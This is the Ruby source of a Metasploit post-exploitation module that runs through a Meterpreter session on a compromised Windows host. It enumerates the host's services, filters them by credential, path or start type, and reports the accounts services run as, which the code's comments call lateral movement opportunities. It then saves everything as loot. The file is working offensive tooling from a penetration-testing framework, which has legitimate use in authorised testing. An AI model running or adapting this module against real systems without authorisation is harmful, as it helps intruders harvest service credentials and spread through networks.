128 lines
4.7 KiB
Ruby
128 lines
4.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Services
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def initialize(info={})
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super(update_info(info,
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'Name' => "Windows Gather Service Info Enumeration",
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'Description' => %q{
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This module will query the system for services and display name and configuration
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info for each returned service. It allows you to optionally search the credentials, path,
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or start type for a string and only return the results that match. These query operations
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are cumulative and if no query strings are specified, it just returns all services.
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NOTE: If the script hangs, windows firewall is most likely on and you did not
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migrate to a safe process (explorer.exe for example).
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},
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'License' => MSF_LICENSE,
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter'],
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'Author' => ['Keith Faber', 'Kx499']
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))
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register_options(
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[
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OptString.new('CRED', [ false, 'String to search credentials for' ]),
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OptString.new('PATH', [ false, 'String to search path for' ]),
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OptEnum.new('TYPE', [false, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]])
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], self.class)
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end
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def run
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# set vars
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lootString = ""
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credentialCount = {}
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qcred = datastore["CRED"] || nil
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qpath = datastore["PATH"] || nil
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if datastore["TYPE"] == "All"
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qtype = nil
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else
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qtype = datastore["TYPE"]
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end
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if qcred
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print_status("Credential Filter: #{qcred}")
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end
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if qpath
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print_status("Executable Path Filter: #{qpath}")
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end
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if qtype
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print_status("Start Type Filter: #{qtype}")
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end
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if datastore['VERBOSE']
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print_status("Listing Service Info for matching services:")
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else
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print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n")
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end
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service_list.each do |sname|
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srv_conf = {}
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isgood = true
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# make sure we got a service name
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if sname
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begin
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srv_conf = service_info(sname)
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# filter service based on filters passed, the are cumulative
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if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
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isgood = false
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end
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if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
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isgood = false
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end
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# There may not be a 'Startup', need to check nil
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if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
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isgood = false
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end
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# count the occurance of specific credentials services are running as
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serviceCred = srv_conf['Credentials'].upcase
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unless serviceCred.empty?
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if credentialCount.has_key?(serviceCred)
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credentialCount[serviceCred] += 1
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else
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credentialCount[serviceCred] = 1
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# let the user know a new service account has been detected for possible lateral
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# movement opportunities
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print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'")
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end
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end
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# if we are still good return the info
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if isgood
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msgString = "\tName: #{sname}"
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msgString << "\n\t\tStartup: #{srv_conf['Startup']}"
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#remove invalid char at the end
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commandString = srv_conf['Command']
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commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"")
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msgString << "\n\t\t#{commandString}"
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msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n"
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vprint_good(msgString)
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lootString << msgString
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end
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rescue ::Exception => e
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# July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue,
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# probably the typical shut-everything-up coding habit. We'll have to fix this later,
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# but for now let's at least print the error for debugging purposes
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print_error("An error occured enumerating service: #{sname}")
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print_error(e.to_s)
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end
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else
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print_error("Problem enumerating services (no service name found)")
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end
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end
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# store loot on completion of collection
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p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services")
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print_good("Loot file stored in: #{p.to_s}")
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end
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end
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